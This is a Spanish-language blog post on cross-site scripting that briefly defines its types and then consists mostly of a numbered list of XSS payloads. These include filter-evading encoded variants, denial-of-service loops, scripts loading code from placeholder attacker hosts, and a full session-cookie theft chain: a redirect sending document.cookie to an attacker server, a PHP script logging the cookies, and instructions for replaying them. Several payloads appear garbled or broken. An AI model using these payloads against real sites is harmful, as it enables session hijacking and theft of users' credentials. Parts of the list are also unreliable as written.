#WebHack – XSS (Cross site scripting)

webhack-xss

Ayer, estaba hablando sobres las inyección de código, hoy quiero comentarles sobre una en especifico, la XSS o Cross site scripting.

XSS es un ataque de inyección de código malicioso para su posterior ejecución que puede realizarse a sitios web, aplicaciones locales e incluso al propio navegador.

Sucede cuando un usuario mal intencionado envía código malicioso a la aplicación web y se coloca en forma de un hipervínculo para conducir al usuario a otro sitio web, mensajería instantánea o un correo electrónico. Así mismo, puede provocar una negación de servicio (DDos).

Tipo de ataques

Directa: (también llamada Persistente): este tipo de XSS comúnmente filtrado, y consiste en insertar código HTML peligroso en sitios que lo permitan; incluyendo así etiquetas como <script> o <iframe>.
 
Indirecta: (también llamada Reflejada): este tipo de XSS consiste en modificar valores que la aplicación web utiliza para pasar variables entre dos páginas, sin usar sesiones y sucede cuando hay un mensaje o una ruta en la URL del navegador, en una cookie, o cualquier otra cabecera HTTP (en algunos navegadores y aplicaciones web, esto podría extenderse al DOM del navegador).
Ejemplos:
  1. Alert Cookie, script plano:
    ><script>alert(document.cookie); </script>
  2. Alert Cookie, script Caracteres ASCII:
    %3 E%3Cscript%3Ealert(document.cookie); %3C%2Fscript%3
  3. Alert Cookie, script plano cerrando etiqueta HTML:
    ><script>alert(document.cookie); </script>
  4. Alert Cookie, script cerrando etiqueta HTML Caracteres ASCII:
    %3 E%3Cscript%3Ealert(document.cookie); %3C%2Fscript%3 E
  5. Alert Cookie, script plano concatenando parámetros GET a la petición:
<script>alert(document.cookie)<script>&param=value
  1. Alert Cookie, script concatenando parámetros GET a la petición Caracteres ASCII:
    %3 E%3Cscript%3Ealert(document.cookie); %3C%2Fscript%3 E%26param%3Dvalue
  1.  Alert con texto e Inyectando un Frame en la pagina vulnerable:
    http://a;
  2. Denegación de Servicio por medio de una vulnerabilidad XSS:
<script>for(;;) alert(“bucle”);</script>
  1. Denegación de Servicio obligando a las victimas conectarse repetidamente:
<meta%20http-equiv=”refresh”%20content=”0;”>
  1. Ejecutar peticiones a otros sitios desde la vulnerabilidad XSS
    <script src='<HOST_ATACANTE/redirect.js’ />
    Donde redirect.js contiene:
    <script>
    var post_data = ‘name=value’;
    var xmlhttp=new XMLHttpRequest();
    xmlhttp.open(“POST”, ‘http://www.atacante.com&#8217;, true);
    xmlhttp.onreadystatechange = function () {
    if (xmlhttp.readyState == 4) {
    alert(xmlhttp.responseText);
    }
    };
    xmlhttp.send(post_data);
    </script>
  2. Inyectando código JavaScript en un objeto IMG de HTML
    <img src=foo.png onerror=alert(/XSS/) />
  3. Inyectando código JavaScript en un objeto IMG de HTML
    javascript:img=new Image();img.src="http://attacker/wtf.php?cookie="+document.cookie;
  4. Inyectando código JavaScript en un objeto IMG de HTML Caracteres ASCII
    <img src=foo.png onerror=%61%6c%65%72%74%28%2f%53%43%47%30%39%2f%29/>
  5. Codificando la salida JavaScript para evitar filtros
    <script>String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,100,111,99,117,
    109,101,110,116,46,99,111,111,107,105,101,41,59,60,47,115,99,114,105,112,116,62) </script>
  6. Inyección codificada utilizando la función “unescape” de JavaScript
    Código origina:
    ><script>alert(document.cookie);</script>Codificación:
    %93%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%64%6f%63%75%6d %65%6e%74%2e%63%6f%6f%6b%69%65%29%3b%3c%2f%73%63%72%69%70%74%3e
  7. Inyección de etiqueta A de HTML utilizando protocolo DATA
    <a href=”data:text/html;charset=utf-8,%3cscript%3ealert(1);history.back();%3c/script%3e “>ClickMe!</a>
  8. Inyección de Iframe utilizando el protocolo DATA
  9. Indicador para verificar si una aplicación es vulnerable a XSS
    ”;!–“<XSS>=&{()}
  10. Inyectando objeto IMG de HTML código JavaScript codificado
    <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
  11. Inyectando objeto BODY de HTML con código JavaScript.
    <BODY onload=alert(“XSS”)>
  12. Inyectando estilos en una aplicación web vulnerable
    <STYLE>@import ‘IP_ATACANTE/xss.css’;</STYLE>
    <META HTTP-EQUIV=”Link” Content=”<IP_ATACANTE/xss.css>; REL=stylesheet”
  13. Inyección de Código ofuscado usando document.write
    ‘><script src=”http://server-attacker.com/xss.js” />’><script>document.write(String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 32, 115, 114, 99, 61, 34, 104, 116, 116, 112, 58, 47, 47, 115, 101, 114, 118, 101, 114, 45, 97, 116, 116, 97, 99, 107, 101, 114, 46, 99, 111, 109, 47, 120, 115, 115, 46, 106, 115, 34, 32, 47, 62));</script>
  14. Ejemplo practico: Robo de Cookies de sesión mediante ataque XSS
    1. El atacante ha conseguido explotar una vulnerabilidad XSS en una aplicación objetivo especificando en dicho script que se debe direccionar la petición a una pagina controlada por el atacante, esto puede ser hecho por medio de DOM, con la propiedad location del objeto document, por ejemplo:
    <script>document.location=”http://IP_ATACANTE/takecookie.php?cookie=&#8221; + document.cookie;history.back(); </script>
    Con este sencillo script se direccioná la petición hacia el servidor controlado por el atacante donde se capturan las cookies del usuario y posteriormente vuelve a la petición original (todo ocurre sin que el usuario se entere, que evidentemente es lo mejor de todo). Frecuentemente esto sera un simple Link que se enviá a un usuario por correo electrónico u otro medio, para que de esta forma, lo llegue a activar.2. En el servidor del atacante, existe un script similar al siguiente:
    <?php$fichero=fopen(“cookies.txt”,”a”);fputs($fichero,”\n”.$_GET[“cookie”].”\n”);fclose($fichero);?>
    Con esto se escriben las cookies en un fichero que el atacante puede utilizar.3.Posteriormente, el atacante accede a la aplicación web que corresponda a determinada cookie, posiblemente, dicha aplicación solicitara algún tipo de autenticación, en este punto, el atacante toma las cookies capturadas del usuario anterior y posteriormente las carga en su navegador Web, en navegadores como Chrome y Firefox existen extensiones y add-ons que permiten hacer esto, como es el caso de “Edit Cookie” en Chrome. Si el usuario aun mantiene activa la sesión en la aplicación, los mecanismos de autenticación de dicha aplicación web, serán pasados por alto, dado que la aplicación confiá en al cookie que encuentra en el navegador y asume que corresponde a una sesión activa.

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

*